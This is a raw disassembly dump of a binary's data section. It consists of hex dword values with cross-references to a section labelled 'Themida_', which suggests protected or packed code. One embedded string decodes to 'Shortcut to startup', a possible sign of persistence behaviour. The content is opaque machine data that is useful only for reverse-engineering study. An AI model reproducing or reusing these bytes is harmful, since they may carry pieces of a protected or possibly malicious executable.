dd 1572E347h, 0BC2920F8h, 0B476C78Dh, 2F76C7ACh, 7672E374h
dd 3AB12069h, 0D7D4EBB4h, 22A9624Fh, 532C7DC8h, 55EEDB22h
dd 350A66DEh, 3518E3E8h, 35710B27h, 6E52E33Ah, 69FBB8DEh
dd 71F3E7AAh, 356AE763h, 6631E3A3h, 66537C12h, 4DF2A8FDh
dd 0B07D0B76h, 3572E374h, 0DD22E377h, 3572E38Dh, 6DB1BB67h
dd 3156A72Ah, 3156A750h, 3572E3FEh, 65B1B334h, 399BCA09h
dd 1872E31Dh, 2E7E804Eh, 8AA472EBh, 53A2584Dh, 35749B50h
dd 26F7EC28h, 3A72E374h, 0B47D1A85h, 3572E31Fh, 0BA9B1F04h
dd 3A72E346h, 35CC351Ch, 5F0CE2D0h, 369AB1E8h, 1572E374h
dd 0BC282060h, 0B476C749h, 2376C7CAh, 7772E347h, 0B82020F1h
dd 0E6B16353h, 0B2AD6665h, 3518E57Eh, 35710B68h, 6F52E31Dh
dd 61FBB94Dh, 71F3E763h, 3569E787h, 6730E3D1h, 0F2B9622Bh
dd 556F662Ch, 0FDF985A6h, 351833E2h, 35710BDCh, 6F52E347h
dd 61FBB960h, 71F3E7F5h, 356AE7CCh, 6730E374h, 0ABC715F9h
dd 8A7DBA8Dh, 48EF6851h, 0B074E46Fh, 0F9F6EC63h, 0B572E3D1h
dd 0DF29C31h, 0CF7EC9Ch, 5F72E33Ah, 369AB21Dh, 1572E38Eh
dd 0BC2B201Eh, 0B476C7EFh, 2C76C795h, 7472E3E8h, 6FBB2025h
dd 7183B434h, 46779B9Dh, 357C6681h, 0B58AE347h, 3A21E4DBh
dd 35722655h, 0FEF985E8h, 0BA4A6212h, 49F7EC3Fh, 3A72E31Dh
dd 3572E80Ch, 30F0EC47h, 5372E3A3h, 2FB03250h, 5D749B68h
dd 3513667Bh, 3518E33Ah, 35710B4Dh, 6D52E38Eh, 71FBBB84h
dd 71F3E787h, 3569E7F5h, 6532E3E8h, 0C82F62B7h, 0B95184C5h
dd 4DF38578h, 3A571C85h, 3572D1C2h, 5CC76AA3h, 0DC74E4FEh
dd 3572E38Ah, 0DD20E31Eh, 3572E339h, 6FB1B93Dh, 3156B707h
dd 3156A7C6h, 3572E3BBh, 5B1B193h, 4AC22C46h, 966B5C12h
dd 1EAA5435h, 0F6F385DDh, 0DEF293AEh, 354F0A3Ah, 0B87DE3A3h
dd 3572E3D7h, 24575E63h, 3B9AE573h, 0A272E33Ah, 0D1276036h
dd 0FAE16F9Fh, 8DC0FE08h, 35750A8Eh, 3C51E3D1h, 0E43BCE2Eh
dd 34CAB986h, 3A72E33Ah, 3572E59Dh, 0E8CFEA8Eh, 6574E462h
dd 35696EACh, 6722E3D1h, 0CF5E0953h, 0DC43EC65h, 3572E331h
dd 0EA7A6B1Fh, 0F772239Ah, 6FFD19D0h, 11766AFBh, 0DD25E3BBh
dd 3572E3EBh, 6AB1BC54h, 31569FB3h, 3156A79Ch, 3572E392h
dd 73B1B400h, 594B17FCh, 0E809EB95h, 0B8AD54E7h, 394C0AC9h
dd 51FF6E3Ch, 8D74EF59h, 4214B6ADh, 357F6644h, 0FA59E5A4h
dd 0E2D035CCh, 0B1E85F0Ch, 0E374369Ah, 20601572h, 0C749BC28h
dd 0C7CAB476h, 83472376h, 0A4F305E9h, 5F536058h, 3A9C98BFh
dd 0F9576171h, 0FC00B59h, 5684h, 9BB58D00h, 0E806074Bh
dd 7, 0A9B39A64h, 29F7A934h, 71F1D95h, 3B85906h, 6A000000h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h
dd 43000000h, 628BC353h, 5AC534E5h, 0FD8589FCh, 306070Dh
dd 7134195h, 0FE6FF06h, 284h, 40D88B00h, 22A1BD89h, 0C08B0607h
dd 13D59D23h, 0BD830607h, 6071ACDh, 83097500h, 71135BDh
dd 19740006h, 0C08B5350h, 403B8h, 81858900h, 8D06072Fh
dd 9AE279Dh, 5BD3FF06h, 35BD8358h, 60711h, 53501774h, 403B8h
dd 81858900h, 8D06072Fh, 9AAC89Dh, 5BD3FF06h, 53006A58h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
dd 2907FBFCh, 7228595h, 81BD8906h, 6A060729h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
dd 0FAC0C351h, 85507282h, 667FC1C5h, 38BB1BAh, 72B5DBDh
dd 0F5C08B06h, 5E861h, 8A3F0000h, 0E99A43D2h, 12h, 0A505031Ah
dd 0ACFCB935h, 0F4A34180h, 2E3603DDh, 665B34C6h, 810CD4BFh
dd 6404C3h, 218D2B00h, 2B060704h, 6810FF6h, 81000000h
dd 64F116C1h, 33148B19h, 28E0Fh, 0E58A0000h, 4E9FEA81h
dd 8B667D1Ah, 0BFF281FEh, 81131B09h, 272731EAh, 0BE829h
dd 0F1950000h, 20E6C1BAh, 0CC2D5BA4h, 6810F76h, 89000000h
dd 72EF99Dh, 14895906h, 0EE933h, 293E0000h, 9993F6D8h
dd 6A3016AEh, 0CB5E3799h, 5202EE83h, 5F34B051h, 0F4E4E5Fh
dd 0FE81FBBFh, 0FFFF9CA0h, 0FF93850Fh, 5820FFFFh, 31C85333h
dd 12100133h, 0BB52C269h, 0B3002567h, 29062577h
db 33h, 1
word_590E26 dw 7001h ; DATA XREF: Themida_:0053F004o
dd 612BC261h, 72F1A374h, 0B97321C6h, 35023C8Eh, 0BE6E5A35h
dd 0F3BF67EBh, 3D06A990h, 320354B7h, 3F058833h, 0B1460615h
dd 3508788Eh, 0B61F0135h, 32080178h, 0DA520159h, 32020130h
dd 6CC25F13h, 36A475BAh, 366445B2h, 3220012Fh, 4ED35775h
dd 43CF5B7Bh, 4304159h, 320018DAh, 62016B33h, 328002DBh
dd 0F1182133h, 1664886Bh, 16548037h, 32081537h, 0F1544133h
dd 90F0805Ch, 6204FE34h, 328006DBh, 425D5433h, 769414C1h
dd 1AAF6761h, 0BB575AC9h, 0EE8E2537h, 164E003Ch, 0B9488CDh
dd 6A860623h, 15B194BAh, 0F2A30734h, 64106B1Fh, 320802DBh
dd 0F15A2133h, 1676886Dh, 16458037h, 32801B37h, 0F1164733h
dd 66FC94A0h, 3D004115h, 32080DBCh, 34860E33h, 0BB020133h
dd 35310CB6h, 0CD3F0E35h, 3B1209B8h, 350110B6h, 0A7215E35h
dd 340F1952h, 0CE4C8A55h, 378B94BAh, 0B3670734h, 3D7F370Ah
dd 3240F8B7h, 63206B33h, 321002DBh, 0F1512133h, 1648886Ah
dd 16468037h, 32011737h, 0F1D14033h, 0B1605424h, 324A08F2h
dd 3213E965h, 6C280133h, 468D5FF0h, 76830517h, 32190517h
dd 64C60133h, 212E24F0h, 0D1A166D0h, 3C9D9DD9h, 0DB3181C6h
dd 3318843Ch, 32680133h, 3202E965h, 6CA00133h, 46C95FF0h
dd 76A10517h, 320C0517h, 644E0133h, 1A3445F0h, 0DD2758F0h
dd 0BA0E51A6h, 3280012Bh, 32400DDBh, 2801F533h, 0F369796Ch
dd 0AED9CA98h, 43B98A1Ah, 6D04061Fh, 580040B8h, 31685033h
dd 12400133h, 0BB79C26Ah, 0B314257Fh, 2B0C2577h, 73040133h
dd 547BC262h, 0AFF6E9C9h, 6F45BE55h, 0AFC9C930h, 342710FEh
dd 8815C0B0h, 12CCA37Dh, 799438B2h, 0B70D8A70h, 320101A5h
dd 0DAD50159h, 32400130h, 6FE35C13h, 36346DBAh, 362C45B2h
dd 32040127h, 0FFC15476h, 13709CBAh, 0BF0D0734h, 34474AA8h
dd 0DA730159h, 32100130h, 69CB5A13h, 36205DBAh, 362645B2h
dd 32010129h, 4435270h, 4919C024h, 0BF2F43EFh, 32100126h
dd 320811DAh, 0EA6EB833h, 614E2332h, 0C1178225h, 4FA80B71h
dd 3243B9F9h, 8F290133h, 34172A16h, 3262E0CCh, 3207E961h
dd 68220133h, 66885BF0h, 76010517h, 32560517h, 60620133h
dd 9C0D92F0h, 10F1BCBAh, 52650734h, 2D6B8CB8h, 0B70E0734h
dd 32800132h, 8FCD60CBh, 342C477Ch, 7B1B8CBEh, 46B0073Fh
dd 10593B0h, 3516E0B6h, 0F3CE2A35h, 582003DAh, 31C85333h
dd 12100133h, 0BB52C269h, 0B3002567h, 29062577h, 0E9830133h
dd 8BA4F305h, 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1B04h, 0C3574700h, 0C5F8A91Fh, 0E431D1C6h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0CBC35646h, 8BFFD56Dh
dd 9D9D8DC3h, 0B806071Eh, 39h, 15118589h, 0E80607h, 58000000h
dd 0D05h, 0E9038900h, 39h
dword_591150 dd 0Eh dup(77E60000h), 9D8D8DFFh, 6A060C4Ah, 3E85600h
; DATA XREF: Themida_:0053E65Co
dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
dd 0AFCAC356h, 4FD3344Bh, 0E6C418D1h, 28A9858Bh, 0BD8B0607h
dd 60707D5h, 1AD98D89h, 8F0F0607h, 3, 0C7DEB70Fh, 7101D85h
dd 633806h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1D04h, 0C3564600h, 2F02C7A5h, 48AA162h, 0B5896287h
dd 6072845h, 330585C7h, 607h, 0AE90000h, 38000000h, 95153D04h
dd 8EEA26CEh, 0B5B5FF95h, 6A060712h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1B042444h, 40000000h, 72EDC350h
dd 7E25EEC1h, 0B503C815h, 60706C5h, 185995FFh, 8B660607h
dd 0FF006AD9h, 70D6995h, 0EBC08B06h, 0AE0D3168h, 0EF755002h
dd 0F9F6CE65h, 0C848EA90h, 6A0E37C9h, 56502D57h, 0CEE46CD9h
dd 0B67C5C87h, 0B958040h, 58508F5Dh, 0DBB79594h, 11454F67h
dd 59CAAF63h, 3637E17Eh, 509F138Ah, 307EC688h, 89478082h
dd 86D8590Ch, 0DBFB80A6h, 0A3494FBBh, 0B2E80F7Ch, 0CD488595h
dd 0CAA0AA89h, 719F7AF4h, 0DB4C2A52h, 1E7B33BAh, 536CEB88h
dd 74726F68h, 20747563h, 73206F74h, 74726174h, 7075h, 13h dup(0)
dd 60000000h, 14D505Fh, 0E9000000h, 0ED6h, 0C4D2F68h, 0F622E906h
dd 7468FFFBh, 0E9060C4Eh, 0FFFBF618h, 0C4FF668h, 0F60EE906h
dd 3568FFFBh, 0E9060C50h, 0FFFBF604h, 0C50E068h, 0F5FAE906h
dd 9668FFFBh, 0E9060C51h, 0FFFBF5F0h, 0C55B368h, 0F5E6E906h
dd 1168FFFBh, 0E9060C58h, 0FFFBF5DCh, 0C58F568h, 0F5D2E906h
dd 766FFFFBh, 170ED5A7h, 0B3AB7244h, 574910E2h, 0EBE1A87Ah
dd 31724416h, 20F2C7BDh, 0B98B6659h, 5325FEF2h, 0EEC0978Ch
dd 61AE98D5h, 62802581h, 60570421h, 46546A8Dh, 5A2F7A51h
dd 49968065h, 4A8631CDh, 1DC89A69h, 0D11E080Eh, 0D28631CCh
dd 884522F1h, 0EB0EE7DBh, 38E80589h, 0E17F5D8Ch, 89F444B5h
dd 886987AAh, 0AA99CDABh, 301DA6F8h, 7586A0Dh, 0DC8029DDh
dd 21FA1373h, 99F16974h, 4Fh, 948936D1h, 0A59D72BDh, 0E3B289D4h
dd 0B0B4B7C0h, 0DDCDE9D3h, 0EBCC8C38h, 1A67510Eh, 1B802ABCh
dd 8F74173Ah, 0BB9BE8D2h, 0BB9C802Ah, 0BBE53698h, 23BA802Ah
dd 0BC2F7C66h, 4928802Ah, 5A317C55h, 161688Bh, 6A570FE8h
dd 0E487F1h, 46BF0000h, 4A2F7A51h, 7D4A59Dh, 1BF23D10h
dd 0FADDD3F8h, 747E5B4Dh, 8631CD27h, 24D2419h, 9086652Bh
dd 0CA9970BBh, 64F1DDCCh, 3F0E1760h, 532A1FF4h, 673E3308h
dd 1D11BE95h, 0FF22F944h, 30E41B9Dh, 0AD827786h, 0C198E3B6h
dd 645920F2h, 0F1C09D8Fh, 0B77EEDA6h, 19FE7397h, 1FFCCBBFh
dd 38A66135h, 8557388Ch, 0F6D351DAh, 34217B0Ch, 261DFC86h
dd 0FAA78453h, 965D2F04h, 0CB14CBA0h, 0B59DFD51h, 0C72DE28h
dd 1E170000h, 0BFB67D4Fh, 5B531AECh, 0FFF1B88Ah, 93895022h
dd 0D91AECBEh, 0C89A6F65h, 61330E01h, 0FBCDA69Ah, 96683F34h
dd 956407Dh, 0A802580h, 7936CBC9h, 31CD428Fh, 71463C86h
dd 2D5CCABh, 0F5EB1033h, 0CA774E20h, 0DFB4FFD4h, 214413EAh
dd 5E3007FCh, 4B5EA987h, 0E5184DDh, 8936D5EBh, 9B72BD94h
dd 68FC6F78h, 0DD85A18Bh, 0C06D8C38h, 0D2A9F4CBh, 65B091AFh
dd 5E0D380h, 5EC0E3BAh, 802ABC0Dh, 0ED381507h, 14C2318h
dd 0E595EDBCh, 113A8AF3h, 0F16A5738h, 0F2B0h, 5146E800h
dd 645A2F7Ah, 0DD2F5A60h, 6330ECA2h, 7FCA996Ch, 3198EB6Dh
dd 6D524786h, 31903683h, 814E2F86h, 12E4B38Eh, 0A27F564Bh
dd 0AA1747C4h, 0B07DFEEFh, 0C39AE5BAh, 3A18FDA0h, 0DD9D833Eh
dd 475073F2h, 79634024h, 8C38EAA5h, 0ED98FFDDh, 0A942FB1Fh
dd 0B5876886h, 643D31DEh, 161F4219h, 461D1115h, 63AE7D4Eh
dd 33E0BD8Ch, 0F44673Eh, 33F58325h, 0AA667686h, 6E650915h
dd 0BA674413h, 1D5FC0C4h, 8AD52DAh, 9D6C493Bh, 4D37F4CBh
dd 8623BD00h, 0D924FFF2h, 385B3C02h, 91481D13h, 9DFC6E58h
dd 2D65AF3Ch, 0D200000Bh, 71380AD9h, 0ED5A77Ah, 0AC734516h
dd 440BDDBAh, 0D5A7794Eh, 552A2094h, 0EEC9BC83h, 8861551Ch
dd 23FAEFB6h, 11FB3851h, 80257EC4h, 368684C5h, 0CD428F79h
dd 62438631h, 7BC6A395h, 665C81A4h, 3F8BF91h, 46A25A2Ch
dd 5A2F7A51h, 11BC8E65h, 432D0A1Ah, 8C390027h, 0A0B2FDDEh
dd 802A994Fh, 426BBB24h, 0F16A3469h, 0CE1h, 2BD11900h
dd 0DA000008h, 3C5F3A2Dh, 2CC96226h, 0FB13C5ACh, 0E5C2911Bh
dd 3837AFFBh, 7AC5A68Ch, 0FCD9B0A5h, 7C6AC1Eh, 9E889EE0h
dd 802A3E51h, 7FA27152h, 0C2998E55h, 0EBD59277h, 802A3E9Eh
dd 0E9C6B897h, 6E95F71Ah, 0CDE76E62h, 9B674CCh, 745E3B16h
dd 24EE2027h, 0F71C3F20h, 92592B02h, 697BC69Dh, 24EE2019h
dd 9D43A3CCh, 38FFD1A8h, 0F216C43h, 24EE1FBBh, 31EF37C0h
dd 0CC93653Ch, 0FCB500D7h, 5B18F56Fh, 99E4B7AEh, 7ED4C4C2h
dd 0B879265Bh, 49433395h, 6142ED7Ch, 9E4D784h, 9AC4E7BEh
dd 2249B1EDh, 0F77B6542h, 5EF37D52h, 0C11F337Dh, 0A9C58620h
dd 0A6980EECh, 0DFF12DFBh, 84F088D5h, 7DA08145h, 906DF774h
dd 8C014AA6h, 1F6A4B4Bh, 0C0998D3Ah, 8F97949Dh, 7CC9B39Ch
dd 7D3F8600h, 0AB82CD9Ch, 0FC15FFDCh, 9D459070h, 6B38B8Dh
dd 0CC9B7E09h, 764D42EFh, 6C79BB99h, 0C4593AF4h, 0BBB077A1h
dd 0F9C62DE4h, 55E2DE8Fh, 9AB0Bh, 88575000h, 25F8EFB6h
dd 0C3948C53h, 5B382AF1h, 0F7CCC289h, 9E125325h, 3A01D3A8h
dd 0D39A6C47h, 6D3406DFh, 0B6CFA178h, 7E428F79h, 2438025h
dd 7A514604h, 0EE5E3AC3h, 0ABF5829Dh, 96Ch, 77491811h
dd 14E6B9B0h, 0B284554Dh, 4A1CF9EBh, 0E6B88D83h, 695FD314h
dd 8FBC294h, 0A0945B2Dh, 392EF5C7h, 3A779062h, 257D0350h
dd 0C5C30480h, 2F7A5146h, 0D3A69D4Ah, 0C0958BB0h, 15E541EEh
dd 47310E16h, 8C38D6C3h, 7387D1B2h, 41E81DE7h, 43CB6947h
dd 0DBB8292Eh, 0A8BCAFB8h, 7085E1CBh, 40EDC47Eh, 0B4A6734Ch
dd 92B58CD7h, 8F489374h, 0EEAB889Ch, 744FB704h, 0DEB3A9C4h
dd 15F6BC93h, 631E0417h, 36595DC3h, 0C5FE1701h, 0AE8FCA7Eh
dd 563124D1h, 0DC11340Bh, 91633A2Fh, 47FED5CAh, 65A565C0h
dd 0C1398310h, 66000008h, 5CC9E6Dh, 0A2693B0Eh, 4007D9AAh
dd 0D89F714Eh, 693B0DE2h, 0E9BEB428h, 825D5017h, 1CF5E9B0h
dd 0B78E834Ah, 0A58FCCE5h, 80257C58h, 46121051h, 0F09D7A51h
dd 5E0124FBh, 0E38D9589h, 0C39A8FF3h, 3A3A178h, 0F8CA9977h
dd 0A5827421h, 87332082h, 22498631h, 0FBA86542h, 0A80A2D08h
dd 8C3DD163h, 0D9967354h, 25BFA2EFh, 0F5C2A380h, 0D2072AFFh
dd 675B3025h, 9D6C438Eh, 0BC16F4CBh, 0A9921786h, 0CA434644h
dd 9B3511C2h, 875E5378h, 9C71673Ch, 0C5AF6C51h, 80254478h
dd 0D69C776Ah, 0E12E18F5h, 0E2802544h, 0C5B9DE01h, 0E5DC35ECh
dd 7B08A3FAh, 80B31h, 0E8B7B000h, 85584F16h, 23F4ECB3h
dd 0BB988A51h, 572C22E9h, 0FE72B385h, 9A613308h, 33FACCA7h
dd 0CD94663Fh, 162F01D8h, 7BA2EFD9h, 62A38025h, 7A514664h
dd 0A38D4A2Fh, 8631CC56h, 264B6E4Fh, 0F50F5A31h, 0D1C674CCh
dd 945128FAh, 31CC5DAAh, 98755686h, 31CC61AEh, 5E816286h
dd 7167EDC6h, 51865F7h, 629D0000h, 947E5BC9h, 8C3E184Fh
dd 0DD8A6748h, 0C91600EBh, 0CA802581h, 0C2F71AE9h, 77492015h
dd 1E995ECCh, 3107D70h, 0C3A8F3C2h, 7B482316h, 2789AC89h
dd 0F9913F25h, 69277FE8h, 3675C2ACh, 8D6E06D1h, 0CDF9D26Ah
dd 2F717810h, 0A9000000h, 815EC862h, 31CD4A97h, 1F6A4B86h
dd 0CCA35C3Ah, 6DACB7FEh, 0FEDBE84Ah, 0C730A698h, 11754E7Fh
dd 7EDD70Ah, 25000000h, 231D1h, 0C962F900h, 438E6B5Dh
dd 0D6C09D6Ch, 8C3E17F9h, 8E3D683h, 2219E6BDh, 2D0E2C4Fh
dd 8180D0E2h, 0A3B8025h, 5447F4BAh, 0DE4D5679h, 0A27F6946h
dd 0E38631CDh, 73693002h, 0B16E539Eh, 31CC7AC7h, 0A6817486h
dd 0AEBE845Bh, 1B9A5F3Bh, 0BFE2B1ADh, 84CFA49Ah, 510F5758h
dd 0EDB4865Bh, 0FFD41FFAh, 0BAE6310Ch, 0C2CEAD8Bh, 0DFE8335h
dd 0DD83E3EAh, 393D0FEAh, 8630FE02h, 29FBD4C8h, 0D8B1A552h
dd 71BEA88Dh, 728630FDh, 7A9FC291h, 9D63AE85h, 6650C862h
dd 8631CD19h, 8D6A391Ah, 0C712EDE0h, 3F44CDF0h, 0B694714Ch
dd 0F8CEF647h, 0C5678A9Fh, 0B5B00DEh, 2ECEA4DEh, 18F3E60Bh
dd 2B15D2E7h, 86318DDEh, 0FB0C7D7h, 0DB1A2917h, 0C5DEE90Ch
dd 140CE7D9h, 54297443h, 253F8A5Dh, 18F4A4FCh, 0F8EF9C59h
dd 0F903DA25h, 863129ACh, 0A2A9CCADh, 0ECDF8C42h, 0CCEFC611h
dd 70C45B34h, 39CD3F7h, 3FEC0000h, 0B3A87548h, 46A3B9DCh
dd 75307B50h, 0FC44F379h, 0A173483Eh, 50291DCAh, 3D12082Dh
dd 3914070Ch, 5CA4B308h, 89D3A89Eh, 9BE6BDB2h, 31CD3989h
dd 61C1F286h, 1DEFC6BBh, 3E896256h, 31CCDC2Ch, 0C919E086h
dd 0F0542503h, 8F99E6D0h, 0B99A8631h, 7C8BD2BBh, 0BFE2BBAFh
dd 0F49EA69Ah, 0D2ADA052h, 74B2B087h, 653706F4h, 30F08861h
dd 0E8C00086h, 60F7707Eh, 0FFFFFF14h, 7A514698h, 15ECE1A8h
dd 0C1948B38h, 0D97C9F76h, 7C5147F4h, 0D5375A31h, 8631CC85h
dd 0EC01DF3Eh, 46914FA4h, 0A9F90023h, 5527FEF3h, 8AD7C17Eh
dd 84863155h, 936AB592h, 0A4C9ECCDh, 7C8ED9AEh, 56A4F798h
dd 0E63102FAh, 0F7421F11h, 0DB83E3B2h, 72080E9h, 26FD922Eh
dd 59A6h, 0C962DE00h, 17A07E5Bh, 0A5659251h, 2BFF417h
dd 408B5E55h, 7E44669h, 808C3DF0h, 1D15C29Fh, 5D2A014Ch
dd 6C438E6Bh, 4894A649h, 1580256Ah, 5A3354ACh, 0D2F164FAh
dd 18h, 72493EEBh, 8C09394Fh, 48631D7h, 0FFFDDDC2h, 7D1EAFFh
dd 0F9000000h, 26DD1h, 5146F900h, 9D4A2F7Ah, 86ABCEABh
dd 20DDBA91h, 31CCE936h, 0E609EA86h, 0A1A11BCh, 3986702Dh
dd 3A8631CDh, 17013659h, 8C38E793h, 0C4D62102h, 802AB273h
dd 0F04B148h, 0B2F3402Ah, 13F4802Ah, 307D6744h, 29802AB3h
dd 0C61E2548h, 6A49CCA5h, 3944F1h, 627C0000h, 947E5BC9h
dd 8C38DE78h, 0E53011h, 0BC0C5943h, 1306802Ah, 6E917238h
dd 2ABBBB0Ch, 0E6C3B580h, 0FDCEC69Bh, 0E141CAB2h, 86DE4739h
dd 6A568C65h, 0CA04F1h, 363C0000h, 0CD428F79h, 443C8631h
dd 0A9CCAD73h, 6DB88F84h, 82CDA298h, 0EEE3B8ADh, 1F7CC17h
dd 3B0AE12Ch, 7F3C216Ch, 0FA04DFD2h, 8631CCADh, 7DA2C5A6h
dd 0DBDFB188h, 8631D159h, 9B6D4439h, 0CE97BF0h, 0EEBE672Eh
dd 0E205F56Fh, 879FC3ADh, 923F8C3Ah, 0A57AC59Eh, 3B08D7B2h
dd 4C236E47h, 352C0B29h, 4A421762h, 0E8DDAA79h, 0B8654211h
dd 541BEDC2h, 49D2895Eh, 0AFA3F7B9h, 3EED822h, 9A930000h
dd 3B32F9CBh, 0D7CF9668h, 7B6D3406h, 0F05CC9Eh, 5596683Ah
dd 4416EBE1h, 0DDAF8A7Dh, 77492216h, 12E4BBB0h, 85D2BCF9h
dd 7E802577h, 50463F3Dh, 0FCF19E7Bh, 0E003DA25h, 23FAEFB6h
dd 0CFA29946h, 0E6B7AF84h, 12CAF417h, 2F7A5146h, 0BC8E655Ah
dd 1A0C1A11h, 4E1BF23Dh, 5D347F5Ch, 0D7C7B18Eh, 7F8C38FCh
dd 32BBB7A1h, 2245EFB7h, 0C6D82304h, 802ABF77h, 19A3032Ch
dd 4B351212h, 8631F05Bh, 88635603h, 94664765h, 5E242E9h
dd 3DDAD61Bh, 1DEBF8Ch, 0AE8B5C54h, 0ED380901h, 0F2C9F316h
dd 0BA958835h, 255663B0h, 91856480h, 62EBE9B8h, 1803DD9Ah
dd 0C1086A8Dh, 0A78025BFh, 0CC08DAB3h, 69h, 0CCB809F4h
dd 5BCE8631h, 6724FBCDh, 31CD307Dh, 544A2986h, 688DB07Fh
dd 6F549F70h, 114E7991h, 6144421Fh, 8AEC0F89h, 8631393Dh
dd 56323C2Fh, 3405B535h, 0CCA1ECBBh, 0BCB2FDDAh, 4B35FB4Bh
dd 8630EBFEh, 0A4716F7h, 3D35EB3Bh, 0DFD39A6Ch, 59A9BB06h
dd 5B8630EBh, 72BFA966h, 738630EBh, 18686F92h, 0C3956E62h
dd 7952460Bh, 8E65592Eh, 0A077C299h, 436C86D1h, 70493DE3h
dd 0E0CF9A9Eh, 7FBF8631h, 0F77150A7h, 0FFFF741Fh, 0A95A38FFh
dd 69403531h, 10485E6Bh, 5146D7EDh, 655A2F7Ah, 1A11BC8Eh
dd 904F2D0Ah, 0DDD9F722h, 2913486Bh, 8C38D8A5h, 0E6C3B594h
dd 18F5C49Bh, 7A9D786Bh, 0B774C5D7h, 0E049802Ah, 4E8E6780h
dd 2F06F16Ah, 3E000000h, 7E5BC962h, 38DE7894h, 554DFA8Ch
dd 0EEBFB784h, 81CCADCBh, 2ABC1E6Fh, 3A8AF380h, 6A573811h
dd 766E1BF1h, 60835AA5h, 0DAC0h, 5146F800h, 0DEAD8A7Ch
dd 0F3C8BE93h, 2216C3A8h, 0C012649h, 0B6AB5835h, 4817EAE1h
dd 0B8AD8225h, 890B0FE1h, 0D98631D1h, 0E18C7EFBh, 0C1E4AA36h
dd 0F3D0A79Ch, 428F7936h, 43863192h, 920B5862h, 2B0C8631h
dd 2217DE08h, 2447004Bh, 0A9796340h, 0A88C38C1h, 214AF5C7h
dd 0FCA96643h, 13E83304h, 23FA4520h, 0A5CF3154h, 64863466h
dd 3F9A683h, 12E93620h, 9EA8623h, 0A372453Ch, 41140AD1h
dd 933E464Ch, 0E3054DC5h, 23F2C914h, 0FC66B96Ch, 7CC6539Dh
dd 190h, 9B6D3C35h, 380ADDD4h, 0D6A87971h, 6E401D0Fh, 0ADCB1A7h
dd 8D83F738h, 2C1FE6B8h, 0C4B87F51h, 5D5219EBh, 5E9BB486h
dd 25752774h, 0E1DF2080h, 9E7B5046h, 0CCAAF7E1h, 0CAAB8631h
dd 0C1B67DA7h, 626018EAh, 947E5BC9h, 8C38DE78h, 0E53011h
dd 39846153h, 8CDD3F62h, 61802ABBh, 4E2A8F8h, 0CBC2FF3Fh
dd 6636123h, 254C696Ch, 4A23BBDEh, 0C2F169C0h, 0A8h, 7A5146FAh
dd 81645A2Fh, 31CD4A97h, 9B6A4B86h, 0D1BC3E50h, 0C1B68631h
dd 0C49B69BBh, 804FBEA1h, 2DFEF6A3h, 0BEE80BE2h, 0E02B02F7h
dd 43200427h, 388E8959h, 4A93718Ch, 46BDC57Ch, 5CA78275h
dd 7593B685h, 1417C294h, 0C0493310h, 0B18633D1h, 5046F3D0h
dd 0ECE2A97Bh, 109AA9E8h, 3504A672h, 0FCDDB17Eh, 98E26F9Dh
dd 0ACh, 0B7895851h, 5426F9F0h, 0F2C4958Dh, 8A5C392Bh
dd 26F8CDC3h, 0A99F1354h, 483B02D4h, 0E0D49B6Dh, 796E3507h
dd 7AB7D0A2h, 25754390h, 5034480h, 8B7D5046h, 460DDFAEh
dd 0F0A87A51h, 0A85B5836h, 326CA0BEh, 1EF5EA0Fh, 3409FED3h
dd 0C5976641h, 179B10EEh, 0C1EC13FEh, 0DA2502F4h, 54D7E003h
dd 2809F3D0h, 698C3DEFh, 73683D88h, 0E03CA9Ch, 5DDAEC37h
dd 0D8CB8170h, 0DCD18FD7h, 776C3305h, 8E8055A0h, 66F6D4B1h
dd 694DED56h, 0D81DC0E3h, 0E7341EDBh, 0E038E128h, 8DD5DCFFh
dd 3103DACFh, 539E756Ah, 309h, 67673100h, 337E4D46h, 4792695Eh
dd 5AA57E72h, 6CB79285h, 81CCA197h, 96E1B6ACh, 0A7F2CFC1h
dd 0BE09DAD2h, 0D41FF2E9h, 0E7895788h, 4BA52h, 0D7010000h
dd 4EF835Ah, 5C243C87h, 31FB68h, 24148900h, 81E28952h
dd 4C2h, 4EA8300h, 5C241487h, 0BA243C89h, 6CF20665h, 2539F281h
dd 0DA876FFDh, 81DA8743h, 2D786EAh, 4EC81FDh, 89000000h
dd 4812424h, 424h, 55515F00h, 0E989D589h, 84F895Dh, 2434FF59h
dd 4C4815Fh, 8B000000h, 89572414h, 4C781E7h, 83000000h
dd 3C8704C7h, 61E95C24h, 0F3FFFBE7h, 0FF0FE9B5h, 5D0A1959h
dd 0C6B86778h, 3060C59h, 0B8E0FFC5h, 103C038Eh, 0A0652C71h
dd 0F02D02C9h, 0C15342E9h, 7C75C7C8h, 2531B3A0h, 140F4508h
dd 5621CB9Ch, 0F566C3A3h, 0E603F08Eh, 1C18141Eh, 53D1637h
dd 0F8200A08h, 0B16B30D0h, 0BE6B5C90h, 0E012C812h, 6760953h
dd 0C83C69DFh, 0C7238943h, 4F456C56h, 25004061h, 8D08A5E3h
dd 0C5BC28Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1504h, 0C3504000h, 9D89E4EDh, 607153Dh, 1175BD8Bh, 0CE90607h
dd 0BF000000h, 1105A769h, 0A7D144A3h, 892AD8BDh, 71AD98Dh
dd 7E95706h, 39000000h, 2B7DFB62h, 0C75E0671h, 7101D85h
dd 6F6C06h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1B04h, 0C3554500h, 14236FBAh, 607F6E4h, 38C0Fh, 8B660000h
dd 0C880FC2h, 0F000000h, 68Dh, 9BD8900h, 0C7060733h, 7330585h
dd 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1D04h, 0C3574700h, 9938C01Ch, 0F0F00915h, 10E98FF1h
dd 9C000000h, 4477D0CBh, 76A614B5h, 9DB26053h, 66D77548h
dd 0CD40CF81h, 5E9h, 868FE00h, 0B5FF923Fh, 60712B5h, 185995FFh
dd 8F0F0607h, 6, 2AF99531h, 6A0607h, 0D6995FFh, 0C08B0607h
dd 475168EBh, 0A6A4FDC0h, 0D5164D46h, 0EB700C6Ah, 26F16911h
